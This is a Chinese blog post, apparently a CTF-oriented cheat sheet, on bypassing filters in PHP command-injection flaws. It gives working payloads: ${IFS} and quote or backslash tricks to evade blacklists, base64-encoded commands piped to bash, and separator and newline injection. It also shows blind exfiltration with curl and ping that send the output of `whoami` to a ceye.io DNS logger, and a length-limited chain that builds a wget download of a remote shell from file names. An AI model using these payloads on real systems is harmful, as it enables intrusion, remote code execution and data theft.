浅析php命令执行

总结一下自己在命令执行这一方面收获的一些小技巧

Linux读取文件的一些命令

cat  从第一行开始,显示文件的所有内容
tac  从第最后一行开始,显示文件的所有内容(正好与cat相反)
more 根据窗口大小,一页一页的实现文件内容
less 和more类似,但是优点是是可以往前翻页和搜索字符
head  只显示前几行
tail  只显示后几行
nl     类似于cat -n,显示时输出行号

linux下的一些绕过方式

  • 过滤了空格

可以使用${IFS}来进行绕过
echo${IFS}123456

读取文件的时候可以使用重定向符号

cat<>filename

cat<filename

  • 黑名单绕过

使用拼接法

a=l;b=s;$a$b 执行的就是ls

利用base64编码
echo "d2hvYW1pCg=="|base64 -d 整体用反单引号包一下,我这边是markdown语法。

echo "d2hvYW1pCg=="|base64 -d|bash

使用单双引号

ca''t flag
ca""t flag
ca''t fl''ag

使用反斜线

ca\t fl\ag

Linux自带的一些字符

绕过过滤分隔符号

Linux自带的三种分隔符号
; || &&

${PS2}代表">"
${PS4}代表"+"
${IFS}代表字段分隔符
${9}代表空字符串

可以使用

%0a %0d ; ${IFS} &绕过

命令终止符号

%00 %20#

无回显命令执行

  • 反弹shell(nc啦,msf啦这里面不在赘述)

  • dns管道解析

http://ceye.io/records/http注册一个账号就行了,看一下自己的dns

执行
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io

curl `whoami`.i96tvv.ceye.io

在看一下dns的解析记录

限制了长度

1>wget\
1>域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>p
ls>a
sh a

利用文件名进行命令执行6

文章

猜你喜欢

转载自www.cnblogs.com/Mikasa-Ackerman/p/qian-xiphp-ming-ling-zhi-xing.html